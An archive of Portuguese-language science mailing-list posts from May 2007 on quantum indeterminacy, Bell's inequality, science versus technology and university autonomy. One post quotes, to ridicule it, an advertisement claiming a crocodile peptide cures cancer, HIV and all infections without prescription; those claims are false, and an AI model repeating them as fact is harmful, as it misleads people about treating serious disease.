Porém, assim como pra satisfazer o desejo do usuário,
o usuário precisa ter instalado na memória do
computador um programa adequando de ação e apertar os
botões certos. Da mesma forma, para que o cérebro
possa satisfazer um desejo (objetivo), é preciso saber
pedir (desejar um objeto) e ter um programa mental
adequado (estratégia de ação).


- - - - - - -


MAIS SOBRE O EGO? TEM AQUI:
http://egogame.blogspot.com











EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664

MEU PORTAL:
http://marceloferrari.blogspot.com

Para receber meus textos inéditos (de literatura), envie um email para:
mferrari-subscribe@yahoogrupos.com.br





















__________________________________________________
Fale com seus amigos de graça com o novo Yahoo! Messenger
http://br.messenger.yahoo.com/


SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 16:35

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Takata, sinceramente, esta sua afirmação aqui e
> suas respostas subsequentes são apenas uma questão de
> ficarmos jogando xadrez até que vc acabe em cheque
> mate. Vc afirmou algo que é impossivel e voce sabe
> disto.

Ué, eu mostrei como se divide um carro sem afastar as partes.

[]s,

Roberto Takata



SUBJECT: Re: Quebra de patente de droga anti-aids
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 16:39

Mais suíte:

Assembléia da OMS discute quebra de patentes por países pobres
http://www1.folha.uol.com.br/folha/ciencia/ult306u16435.shtml
--------------
[]s,

Roberto Takata



SUBJECT: [RN] SP: AUTONOMIA UNIVERSITÁRIA EM XEQUE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 17:04

FOLHA ONLINE, 14-05-2007

UNIVERSIDADE SÓ PODE MUDAR GASTOS COM DECRETO DE SERRA
http://www1.folha.uol.com.br/folha/educacao/ult305u19516.shtml
----------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Gil - Re: Determinismo e incerteza
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 17:05

Olá, Homero. Vamos lá

Acho que algumas coisas vou tentar explicar melhor:

> Algumas coisas, em especial tecnologia de ponta, são impossíveis de
> construir sem a teoria, em especial as que dependem de cálculos
> prévios, como transistores e computadores. Outras seriam impossíveis
> de construir, porque não pensaríamos nelas sem a teoria ter
> apresentado essas possibilidades, como a bomba atômica.



> Não é possível construir um chip de processador "tentando e errando",
> sem teoria e cálculos, não se pensaria em construir uma bomba atômica,
> sem a teoria atômica e a relatividade, e não se construiriam satélites
> sem a gravitação (leis de movimento que funcionam aqui na Terra,
> também funcionam no céu).

Bem, é especialmente nas tecnologias de ponta e teorias de ponta que a
fronteira fica mais difusa. Repare que você falou de previsões ,
teorias ou dispositivos feitos no inicio do século 20 (ou até antes),
e não, nas novas teorias, dos anos 50/60, pra cá.

Levando em conta os exemplos que vc citou (transistores e
computadores): como eles se relacionariam com princípio da incerteza,
gravidade quântica em loop, teoria da relatividade, supercordas?

Dentro de 30 ou 40 anos, alguém pode usar teorias para justificar
tecnologias atuais, mesmo que trate-se de um pensamento anacrônico ou
irrealista.

> Outras seriam ineficazes ou rústicas sem a teoria, pois dependeriam de
> empirismo e tentativas e erros para serem criadas ou construídas, como
> edifícios. Já se construiram grandes catedrais na idade média, mas
> suas estruturas são super-dimensionadas, suas soluções muitas vezes
> rústicas ou ineficazes, e muitas caíram antes e depois de construídas
> por falta de cálculos necessários.

> As pirâmides são fantásticas obras de engenharia, quase sem cálculos
> (quase, pois egípcios eram bons em usar geometria aplicada), mas parte
> de seu fascínio é a época em que foram construídas e a limitação de
> recursos e materiais disponíveis. Embora defensores de aliens egípcios
> digam o contrário, com materiais modernos e engenharia moderna,
> poderíamos criar estruturas muito mais impactantes e de formas muito
> mais variadas (as pirâmides são piramidais por motivos de exigência
> estrutural, é a forma mais simples e segura de erguer algo tão grande
> com poucos recursos).

Perceba que você falou de tecnologias bem fundamentais, ou de
engenharia (de construçao, ou de materiais). Mais sofisticadas do que
o meu exemplo das canoas, mas também muito básicas, em relação ás
novas tecnologias/teorias.


Gil


SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 17:17

Prof. JC:

Obrigado por me convencer que não fiz a pergunta só por "inguinorância" :)

Gil

Em 14/05/07, José Carlos Antonio<profjc2003@yahoo.com.br> escreveu:
> Gil,
>
> Concordo contigo. Essa sempre foi uma preocupação minha ao ensinar
> física para os pequenos: não confundir ciência com tecnologia.
>
> No entanto, o que traz muitos leigos ao assunto "ciência" é justamente
> o fascínio da tecnologia. Há muitas pessoas que acreditam que sabendo
> as leis de Newton poderão cosntruir naves espaciais no fundo de seus
> quintais.
>
> Fico num beco "meio sem saída" na hora de falar disso com meus
> aluninhos leigos, pois de um lado não posso iludí-los de que basta a
> ciência para se produzir boa tecnologia e, por outro, é claro que sem
> boa ciência não se produz boa tecnologia. O casamento entre ambas não
> me parece simples e só me parece compreensível à luz da história da
> ciência e do desenvolvimento tecnológico; mas essa história é
> complexa, tem muitos buracos e é muito mal contada (como você mesmo
> sugere ao dizer que há poucos artigos relevantes sobre o tema).
>
> Também gosto desse assunto e acompanho algumas discussões sobre ele.
>
> Abraços,
> JC


SUBJECT: Re: [ciencialist] P/ Jeff - Re: Determinismo e incerteza
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 17:19

>
>Então, primeiro precisa entender que o que estes
>cientistas propõem não é algo que eles imaginaram a
>partir do nada, depois de uma noite de bebedeira,
>mas tem enorme base a sustentar cada alegação.
>

É claro, pois não durariam 1 dia. Mas a falta de "gênios" pode fazer algumas
durarem por séculos, não é? Não é muito comum termos pessoas extremamente
inteligentes no lugar certo e na hora certa.

>
>Artigos em revistas científicas
>são outra boa fonte de dados (eu digitalizei um da
>Scientific American Brasil sobre a natureza da matéria
>, se desejar ler eu envio para você).
>

Opa, quero sim! Envie pra jeff@jeff.com.br, por favor.

>
>Quem tem certezas absolutas é a religião, não a ciência. Demonstre uma
>causa para além do modelo padrão, e será aceita.
>

E se a introdução desta causa depender de uma reformulação completa da
teoria?
Aí pode faltar alguém capaz de reescrevê-la com esta causa ou até faltar
interesse...

>
>O problema é que a ciência não sustenta alegações sem evidências.
>Assim, se não há evidências de uma causa, não se pode aceitar que
>exista uma causa, ou supor, ou chutar ou esperar, ou acreditar ou
>qualquer coisa do tipo. Se existem variáveis ocultas, então tudo
>se comporta "como se não houvesse causa", sem que se possa
>"chutar" que existem variáveis ocultas (até que surjam evidências disso).
>

Eu acho que o movimento de uma partícula não previsto pelo modelo poderia
ser uma evidência, não? Ou isso "não é nada", "xá pra lá", "tá bão
assim..."? :-)
Não quis dizer exatamente "variáveis ocultas"... Como o Alberto colocou,
talvez problemas com definições de outras já consagradas.

>
>Outro erro é pensar que se "ignora" a gravidade. Não é isso. O que
>acontece é que não temos como colocar as equações, relações
>matemáticas, entre as forças e a gravidade. E procuramos por essa
>relação, embora nada obrigue que esta exista.
>

E você acha isso bonito? :-)

>
>Jeff, acho que seria realmente muito interessante dar uma lida em
>alguns livros que ajudariam a entender, sem ser de forma totalmente
>leiga como no momento, essas questões difíceis e complexas.
>

Eu lí algumas coisas a respeito, mas não entrei em cálculos. Já conversei
sobre isso com dois amigos meus que, por coincidência, são físicos e
professores das universidades daqui de São Carlos. Um concorda comigo e
sempre diz que estará vivo pra ver "a queda da física" e o outro acredita
que a ciência chegará, só agora, no que os orientais já "sabiam" há
milênios... :-)

>
>Tentar entender a partir das analogias e metáforas usadas
>pelos físicos para "tentar" explicar aos leigos, é realmente
>muito difícil, e cada falha na analogia, fica parecendo que
>a falha é na física.
>

Realmente, nem sempre é fácil fazer analogias para ilustrar algumas coisas,
mas eu até tenho certa facilidade de entendê-las (talvez pela minha
formação) e até arrisco estudar algumas equações pra entender melhor alguma
teoria quando tenho tempo. Mas esse negócio da incerteza da física quântica
realmente me incomoda e ainda não conseguí entender como chegaram nesta
conclusão...

[]´,s
Jeff.



SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 17:28

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Levando em conta os exemplos que vc citou (transistores e
> computadores): como eles se relacionariam com princípio da
> incerteza, gravidade quântica em loop, teoria da relatividade,
> supercordas?

As supercordas ainda não foram testadas e não há tecnologia produzida
a partir dela.

No caso da teoria da relatividade, o sistema GPS depende de se
considerar efeitos relativísticos para ocorrer a sincronização dos
sinais dos satélites da rede.

Ah! E lembre-se de q a teoria quântica e a da relatividade foram
estabelecidas nas duas primeiras décadas do século passado.

[]s,

Roberto Takata



SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 17:36

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Sobre Bell, eu tinha lido apenas sobre a sua teoria da impossibilidade
> de reproduzir os resultados da quântica pelo modelo da clássica. Mas
> isso ainda não prova que a quântica está certa, né.

*Nenhuma* teoria pode ser provada como certa. O máximo q um cientista
pode fazer é provar q uma teoria está errada. É o chamado
falsificacionismo popperiano.

[]s,

Roberto Takata



SUBJECT: P/ Gil - Re: Determinismo e incerteza
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 17:43

Olá Gil

Gil: "Acho que algumas coisas vou tentar explicar melhor:"

Acho que fez um bom trabalho antes, e eu concordo com boa parte de
suas colocações. Apenas achei que existem circunstâncias onde
realmente a teoria é parte importante dos desdobramentos concretos da
tecnologia.

Gil: "Bem, é especialmente nas tecnologias de ponta e teorias de ponta
que a fronteira fica mais difusa. Repare que você falou de previsões ,
teorias ou dispositivos feitos no inicio do século 20 (ou até antes),
e não, nas novas teorias, dos anos 50/60, pra cá."

Com certeza, e isso porque, lembrando a frase que o Alberto enviou,
não se sabe no momento do nascimento para que serve a criança..:-)

É preciso tempo para que uma teoria, em especial na física teórica,
pura, se transforme em algo concreto, material ou tecnológico. Mas o
que tentei apresentar, é que muito do que é tecnológico, não existiria
sem a teoria, ainda que antiga (e por isso mesmo bem testada e
estabelecida).

Se tivermos computadores quanticos, estes serão desenvolvidos muito
depois de compreendermos, e testarmos, muito bem a física e a mecânica
quantica, nunca esperaria que isso se desse imediatamente.

Gil: " Levando em conta os exemplos que vc citou (transistores e
computadores): como eles se relacionariam com princípio da incerteza,
gravidade quântica em loop, teoria da relatividade, supercordas?"

Dentro destes exemplos, existem os que tem já desdobramentos, como a
relatividade, e os que nem mesmo podem ser testados de forma material,
como a teoria das super-cordas (existe uma expectativa para o super
colisor de partículas, que poderia testar algumas das previsões desta
teoria, mas temos de esperar que este fique funcional e confiável).

Por exemplo, não exatamente os computadores, mas a rede mundial onde a
informação trafega, usa satélites geo-estacionários, que tem seus
relógios e órbitas relacionadas a correções da relatividade. Ou seja,
seria bem mais complicado, ou impossível, basear uma rede de
informação sem satélites e GPSs.

Mas eu realmente usei conhecimento mais antigo, por mais confiável,
como eletromagnestismo, etc, porque acho que são estas formas, já
testadas pelo tempo, que são mais capazes de gerar tecnologia,
desdobramentos materiais.

Por exemplo, não há TV sem eletromagnetismo, sem Maxwell, sem as
equações e a unificação da eletricidade e magnetismo, etc. EU até
pensei em que sistema poderia substituir a eletricidade e o
eletromagnetismo para criar uma TV (emissão de imagens a longas
distâncias), mas não consegui, mesmo deixando a mente livre até o
limite (o mais perto que cheguei foi um sistema de telepatas emissores
que transmitissem as imagens vistas diretamente na mente das pessoas,
e isso foi o máximo..:-).

Gil: "Dentro de 30 ou 40 anos, alguém pode usar teorias para
justificar tecnologias atuais, mesmo que trate-se de um pensamento
anacrônico ou irrealista."

Bem, acho isso uma evidência forte da dependência de certas
tecnologias da teoria pura. Se construirmos computadores quanticos (e
eu estou usando SE no lugar de QUANDO, por cautela..:-), isso se
deverá a teoria que sustenta a física e a mecânica quantica, não?

Gil: "Perceba que você falou de tecnologias bem fundamentais, ou de
engenharia (de construçao, ou de materiais). Mais sofisticadas do que
o meu exemplo das canoas, mas também muito básicas, em relação ás
novas tecnologias/teorias."

Sim, porque penso que é o máximo que poderíamos chegar sem a teoria,
sem a compreensão do mundo que as teorias científicas nos permitem.
Porque acho que é isso que é a ciência, uma forma de descrever para
compreender o mundo, não uma verdade inquestionável.

Canoas podem ser feitas em tentativas e erro, baseadas em experiência
pessoal (troncos flutuam, se eu ficar sobre o tronco, flutuo junto, se
eu cavar no tronco para me encaixar melhor, não caio, etc), mas um
submarino atômico, ou um transatlântico não poderiam. Pirâmides podem
ser construidas quase sem se compreender as forças envolvidas, mas um
arranha-céu de aço e vidro não pode (só os cálculos de forças do vento
em grandes alturas, e a sua relação com a estrutura do edifício, exige
enorme conhecimento e computadores velozes).

E eu posso pensar em muitos exemplos, como tratamentos médicos,
biologia, alimentação, química, etc. Em cada área, só podemos chegar a
um ponto limitado, sem a teoria, sem a compreensão dos fenômenos
envolvidos. Para seguir adiante, é preciso saber mais sobre o que
acontece nesses casos.

Um abraço.

Homero




SUBJECT: PANACÉIA UNIVERSAL:
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 17:59

Enfim, descoberta a segunda fórmula mais procurada do mundo: a primeira era alquímica: transformar chumbo em ouro.
Agora descobriram a cura desde a unha encravada até a caspa. E dão endereço do vendedor.
E eu, com piadinhas tipo familia já fui tão moderado... se falae em apedeuta então.....

silvio, teólogo.

----- Original Message -----
From: César A. K. Grossmann
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 14, 2007 2:27 PM
Subject: [ciencialist] Contra todos os vírus e bactérias: peptídeos


Óleo de Cascavel?

http://www.biologicalmiracle.net/

--//--

Minha tradução:

O Antidote é uma oferta única de Peptídeo Anti-Microbial oferecendo o
mais largo espectro de poder de cura do mercado atual. Ele mata todas
as BACTÉRIAS e VÍRUS mortais no corpo.

O Antidote atua como um aditivo para o sistema imunológico. Ele irá
combater e proteger seu corpo de todas infecções ativadas por vírus e
bactérias. O Antidote pode ser tomado com segurança por crianças e
adultos mesmo que estejam tomando outras medicações.

Seus poderes de fortalecimento do sistema imunológico tornam-no o
método perfeito para manter um estilo de vida estável e saudável.

O Peptídeo é uma Proteína Extraída do Crocodylus Porosus, o maior
crocodilo vivo e a espécie viva mais antiga na Terra (mais de 20
milhões de anos). Um Peptídeo é uma Proteína Natural feita de
Aminoácidos amarrados juntos que destróem virus e bactérias poderosas
ao penetrar suas membranas.

Biologicalmiracle.com simplesmente pegou a melhor arma do crocodilo
contra as infecções e tornou-a funcional para aplicação em seres humanos.

O Antidote não exige receita médica ou mesmo uma consulta antes de ser
tomado já que é uma alternativa natural aos Antibióticos e drogas que
tem falhado para eliminar virus ou bactérias virulentos que tem
desenvolvido uma imunidade aos antibióticos e drogas atuais produzidos
pela medicina moderna.

A gripe comum é uma coisa do passado, mesmo infecções sérias como
Câncer, HIV, Gripe Aviária, SARS e muitas outras doenças perigosas à
vida podem ser tratadas pelos poderes milagrosos de cura do Antidote.

Recomendamos que o Antidote seja tomado anualmente para garantir
proteção total. Para doenças mais sérias recomendamos que ele seja
tomado a cada 3 meses.

Praticamente todas doenças malignas ficam ativas por causa dos virus e
bactérias, a principal causa de infecções. Uma doença deve ser
colocada em dormência para parar as infecções posteriores. É essencial
matar os vírus e bactérias primeiros, para permitir ao corpo que se
recupere. O Antidote é o primeiro passo em direção a uma vida saudável.

Ele não é só para quem está passando pela gripe ou resfriado, mesmo se
você não estiver doente, o Antidote pode ser usado como um aditivo ao
sistema imunológico, fortalecendo-o contra ataques. É a forma perfeita
de combater as doenças antes que elas tenham uma chance. Você vai se
sentir mais forte e saudável logo nas primeiras 48 horas depois de
tomar o Antidote.

É todo o milagre que irá matar todos os vírus e bactérias que seu
corpo puder jogar contra ele. Milhões de dólares foram gastos n
apesquisa e desenvolvimento neste campo, e você consumidor estará se
beneficiando deste avanço científico. Tenha você a gripe comum, uma
doença terminal, ou se você só quer proteger seu corpo de virus e
bactérias no futuro, este é o único produto que você deve comprar.

O Antidote só está disponível pelo website Biologicalmiracle.com.

Nenhuma grande companhia de remédios quer que você coloque as mãos
nele. Companhias farmacêuticas iriam perder bilhões todos os dias se
este produto estivesse nas prateleiras junto com as marcas mais
conhecidas. É exatamente o tipo de produto que as grandes corporações
querem descartar como apenas "outra moda", mas não deixe que eles te
enganem. Este produto é 100% real e tem o poder de mudar a forma que
os humanos olham para as alternativas às drogas para sempre. O
Antidote é um produto limitado devido ao rápido crescimento no
interesse global, apresse-se e compre-o enquanto estiver disponível.

Compre o Antidote agora mesmo, e amanhã você não só se sentirá como
uma pessoa diferente, você será uma pessoa diferente. Nosso sistema
imunológico é a única arma que os seres humanos tem para combater as
infecções causadas por vírus e bactérias, e o Antidote dá ao seu corpo
o incremento que ele precisa para viver uma vida saudável e feliz. Não
deixe a gripe comum, resfriado, ou algo mais sério ter controle sobre
você. Aqui tem algo que você pode fazer para ajudar-se a si mesmo,
tomar o Antidote, a razão é que você pode tomar ele pela manhã e
aproveitar a vida em sua capacidade máxima. O Antidote irá mudar sua
vida para sempre. Não deixe esta oportunidade passar.

O Antidote é vendido em uma garrafinha de 5ml e é tomado oralmente
como dose simples, levando 48hs para se tornar efetivo.

(blá, blá, blá...)

--//--

Não é fantástico?

Antibióticos, coquetel anti-AIDS, e um monte de coisas caras e
custosas, que em alguns casos até causam prejuízo à saúde, e tudo que
você precisa é apenas do Peptídeo!

Uma página sobre peptídeos que eu achei:
http://www.universitario.com.br/celo/topicos/subtopicos/citologia/bioquimica/peptideos.html

Por quê não falam deste poder maravilhoso dos peptídeos, de curar
todas as doenças?






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.8/800 - Release Date: 11/5/2007 19:34


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Determinismo e incerteza
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 18:51

>
> Sobre Bell, eu tinha lido apenas sobre a sua teoria da impossibilidade
> de reproduzir os resultados da quântica pelo modelo da clássica. Mas
> isso ainda não prova que a quântica está certa, né.
>
>>*Nenhuma* teoria pode ser provada como certa. O máximo q um cientista
>>pode fazer é provar q uma teoria está errada. É o chamado
>>falsificacionismo popperiano.
>>
>

Sim, como mostrou Godel. A quântica, sendo uma teoria evidentemente
"incompleta", postula algo extraordinário como um efeito sem causa. Aí que
começa a minha crítica.

[]´,s
Jeff.



SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 18:58

--- Em ciencialist@yahoogrupos.com.br, "Jefferson" <jeff@...> escreveu
> Sim, como mostrou Godel.

Gödel não vem tto ao caso, é mais Popper mm.

> A quântica, sendo uma teoria evidentemente "incompleta", postula algo
> extraordinário como um efeito sem causa. Aí que começa a minha
> crítica.

Nem tão evidente assim. Ainda mais qdo se consideram os testes de
hipótese.

Ela é incompleta no sentido de não explicar tudo - os valores das
massas de partículas como o elétron e os quarks, o número de famílias
de partículas e outros dados não surgem da teoria, são elementos q são
obtidos experimentalmente.

Mas em relação ao estranhamento de Einstein, os textos q lhe indiquei
mostram os resultados experimentais q são compatíveis com a
indeterminação em princípio dos valores - o q falseia de modo geral as
teorias "realistas" (locais e não-locais), isto é, q. antes da medida
os observáveis quânticos tenham um valor determinado (q apenas não é
conhecido por limitações práticas).

Outro teste de hipótese da indeterminação quântica é o efeito Casimir.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Alberto - Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/05/2007 19:21

----- Original Message -----
From: "Oraculo"
Sent: Monday, May 14, 2007 4:16 PM
Subject: [ciencialist] P/ Alberto - Re: Determinismo e incerteza

> Mas ainda acho que dogmatismos, em ciência,s e deve mais as pessoas
> e sua natureza humana que a própria ciência, que tem construido
> mecanismos para justamente evitar dogmas e permitir que sempre se
> possa discordar e provar pontos de vista diferentes.

Isto cheira-me a cientificismo, além de possuir um forte conteúdo
idealizador. Explico essa idealização: É como se eu dissesse que o
diamante somente existe após ter sido lapidado e/ou que a ciência
seria aquilo que sobra após os conhecimentos terem sido depurados das
concepções erradas. Vejo a ciência com suas virtudes e seus defeitos,
enquanto você considera apenas as virtudes como fazendo parte da
ciência e os defeitos como sendo próprios ao cientista. Bastante
esquisito, porém não posso dizer que não faça sentido, embora não seja
assim que eu vejo a ciência.

Quanto ao significado de dogma diria, como agnóstico que sou, que não
tenho nenhum preconceito com relação ao termo e utilizo-o em seu
sentido mais geral, especialmente quando estou falando em
comportamento dogmático adotado por este ou por aquele cientista. Sob
esse aspecto, o dicionário Houaiss diz o seguinte: "Qualquer doutrina
(filosófica, política etc.) de caráter indiscutível em função de
supostamente ser uma verdade aceita por todos". Embora eu não concorde
com a filosofia de Thomas Kuhn (o "filósofo" mais paquerado pelos
físicos quânticos), este é o significado que ele adota quando defende
a postura dogmática que deveria ser observada pelos cientistas. Em
dúvida leia "A função do dogma na investigação científica", Thomas
Kuhn, capítulo 2 do livro "A Crítica da Ciência" organizado por Jorge
Dias de Deus, Zahar Editores, Rio, 1974, pp. 53-80. Caso haja
interesse posso enviar o capítulo por email (formato doc, 164 Kb)].

Digamos então que, na sua visão, eu estou usando o termo dogma "de
forma um tanto frouxa" e que você utiliza o mesmo termo de forma mais
restrita e, a meu ver, um tanto quanto preconceituosa (quiçá
preconceito contra as religiões).

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] [RN] SP: AUTONOMIA UNIVERSITÁRIA EM XEQUE
FROM: Emanuel Valente <emanuelvalente@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 19:36

Acho que não é por aí. O que deu pra entender é que o governo está
apenas querendo aumentar a auditoria nessas instituições.
É claro que os prejudicados serão as próprias instituições, pois, com o
aumento da buracracia poderá desestimular futuros ou projetos em andamento.
Enfim, infelizmente é difícil ter um acordo no qual o governo estadual é
oposição ao federal.

ps: não quis entrar em detalhes políticos. Espero que as respostas sejam
de caráter ou de contexto científico.

rmtakata escreveu:
>
> FOLHA ONLINE, 14-05-2007
>
> UNIVERSIDADE SÓ PODE MUDAR GASTOS COM DECRETO DE SERRA
> http://www1.folha.uol.com.br/folha/educacao/ult305u19516.shtml
> <http://www1.folha.uol.com.br/folha/educacao/ult305u19516.shtml>
> ----------------------
> []s,
>
> Roberto Takata
>
>



SUBJECT: Re: O Que é Raciocinar?
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 20:01

Olá, Ferrari:

Desculpe, não entendo o que você escreveu e creio não concordar com
sua visão. A mim parece tão delirante que não consigo sequer discutir
o assunto.

Saudações,
João de Carvalho


> --- Creio que para entender linguagem (de fato) é
> preciso entender primeiro a relação entre tempo e
> movimento. É preciso considerar que a linguagem é
> inerente as leis que regem o comportamento da matéria
> indivisivel. Estas leis são as leis do tempo. Leis do
> sempre, como prefiro dizer, pois são imateriais e
> eternas.
>
> --- Ou seja, os diferentes códigos (linguagens) são as
> diferentes frequencias (pulsos) da matéria
> indivisivel. Linguagem é pulso.
>
> João >>> E a linguagem não é algo que se inventa pela
> cultura. Ela é produto de um sofisticado aparato
> linguístico do cérebro.
>
> --- Não é só do cérebro, é da natureza. O cérebro
> também é uma decodificação do cérebro, percebe isto?
>
> --- A linguagem é inerente a manifestação da matéria.
> É as leis do tempo. Leis do sempre. Por isto não pode
> ser inventada. Porque é o tempo que inventa (controla)
> a forma da matéria, manifestação da matéria, e não
> vice-versa.
>
> João >>> É talvez a habilidade que mais diferencia o
> homem dos outros animais.
>
> --- Ai vc está inaltecendo o raciocinio. Volto a lhe
> afirmar, linguagem é inerente a manifestação da
> matéria indivisivel. A matéria indivisivel se
> manistesta de diversas maneiras, logo existem diversas
> linguagens de manifestação. Mas, essencialmente, todas
> se resumem numa: o pulso.




SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 20:02

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
http://www.upscale.utoronto.ca/GeneralInterest/Harrison/BellsTheorem/BellsTheorem.html

Farei uma tradução parcial:

Considere:
[1] - característica A;
[2] - característica B;
[3] - característica C;
[4] - objetos q possuem a característica A, mas não a B - o total
representado por (A~B);
[5] - objetos q possuem a característica B, mas não a C - (B~C);
[6] - objetos q possuem a característica A, mas não a C - (A~C).

Considere a seguinte inequação:
[7] (A~B) + (B~C) >= (A~C)
(Isto é, a soma dos objetos [4] com os objetos [5] é maior ou igual ao
total de objetos [6])

Assumindo a aritmética normal e a condição realista, isso é fácil de
demonstrar.

Considere os conjuntos A, B e C (para representar os objetos com as
características A, B e C respectivamente). Desenhe três círculos
parcialmente sobrepostos:
http://www.2learn.ca/construct/graphicorg/venn/3vensm.gif
Cada círculo representa um dos conjuntos.
A parte de A que não se sobrepõe com nenhum dos círculos vamos chamar
aqui de (A~B~C), a que se sobrepõe com B, mas não com C (AB~C), a q se
sobrepõe com C, mas não com B (AC~B). De modo equivalente, teremos
(B~A~C), (BA~C) [q é igual a (AB~C)] e (BC~A) para o conjunto B. E
para C, (C~A~B), (CA~B) [igual a (AC~B)] e (CA~A) [igual a (BC~A)]. E
para todos temos ainda (ABC), q é a parte em q os três círculos se
sobrepõem. A sobreposição representa a intersecção.

É óbvio q:
[8] A = (A~B~C) + (AB~C) + (AC~B) + (ABC)
[9] B = (B~A~C) + (AB~C) + (BC~A) + (ABC)
[10] C = (C~A~B) + (AC~B) + (BC~A) + (ABC)

E tb q:
[11] (A~B) = (A~B~C) + (AC~B)
[12] (B~C) = (B~A~C) + (AB~C)
[13] (A~C) = (A~B~C) + (AB~C)

Assim, [7] pode ser reescrito como:
[14] (A~B~C) + (AC~B) + (B~A~C) + (AB~C) >= (A~B~C) + (AB~C)

Vemos q todas as parcelas presentes no lado direito da inequação estão
presentes no lado esquerdo. Então se qualquer parcela do lado esquerdo
q não esteja presente no lado direito for maior do q zero, o lado
esquerdo é maior do q o lado direito e a inequação está correta; se
ambos os termos forem nulos, o lado esquerdo é igual ao lado direito e
a inequação está correta. Como representam o total de elementos dos
subconjuntos, os valores podem ser apenas nulo (subconjuntos vazios)
ou positivos (se o subconjunto tiver pelo menos um elemento).

Vamos então analisar o caso do spin dos elétrons (ou polarização de
fótons). A característica A será a medição para cima do spin do
elétron em um ângulo zero (o ângulo zero aqui fixamos
arbitrariamente). A característica B será a medição para cima do spin
do elétron em um ângulo de 45o. A característica C será a medição para
cima do spin em um ângulo de 90o.

A inequação [7] terá então a forma:
número de elétrons com spin para cima a 0o, mas não com o spin para
cima a 45o mais o número de elétrons com spin para cima a 45o, mas não
com o spin para cima a 90o é maior ou igual que o número de elétrons
com o spin para cima a 0o, mas não com o spin para cima a 90o

A medição do spin funciona como pares conjugados de grandezas, como a
velocidade (na verdade o momento) de uma partícula e sua posição -
valendo o princípio da incerteza.

Pela teoria quântica, se soubermos o sentido do spin a um dado ângulo
para um elétron, não seremos capazes de saber o sentido do spin do mm
elétron para um outro ângulo.

Existe, porém, um fenômeno denominado emaranhamento. A partir dele é
possível criar pares de elétrons q possuem valores correspondentes
entre si. Por exemplo, se uma partícula com spin zero decai formando
dois elétrons, sabemos q o par desses elétrons possuem - para uma dada
orientação - spins q somam zero por conservação do momento angular.
Diz-se que os valores dos spins dos elétrons desse par estão emaranhados.

Então poderia se pensar q, se medirmos o spin de um dos elétrons do
par em uma direção e o spin do outro elétron em outra direção,
poderíamos burlar o princípio da incerteza.

Se os elétrons possuem um valor determinado antes da medida, então
isso seria possível. E o resultado obedeceria ao princípio da
inequação de Bell.

Mas pela teoria quântica, o valor não está determinado antes da
medida. E a medição do spin de um dos elétrons - muito, muito distante
(em tese tão distante qto quisermos) - em uma dada direção, afeta a
medição do spin do outro elétron em outra direção. Nesse caso, a
inequação de Bell seria violada.

Pelos experimentos q temos, ocorre o segundo caso, como previsto pela
teoria quântica e em desacordo com a hipótese de q os elétrons possuem
spins definidos antes da medida.

[]s,

Roberto Takata



SUBJECT: Re: [RN] SP: AUTONOMIA UNIVERSITÁRIA EM XEQUE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 20:05

--- Em ciencialist@yahoogrupos.com.br, Emanuel Valente
> Acho que não é por aí. O que deu pra entender é que o governo está
> apenas querendo aumentar a auditoria nessas instituições.

Auditoria pode ter e deve ter o qto quiser. Mas deveria ser após. A
universidade prestar contas tudo bem.

Porém, depender da aprovação prévia do governador para realocar seus
recursos poda a autonomia universitária.

[]s,

Roberto Takata



SUBJECT: P/ Alberto - Re: Determinismo e incerteza
FROM: "oraculo333" <oraculo@atibaia.com.br>
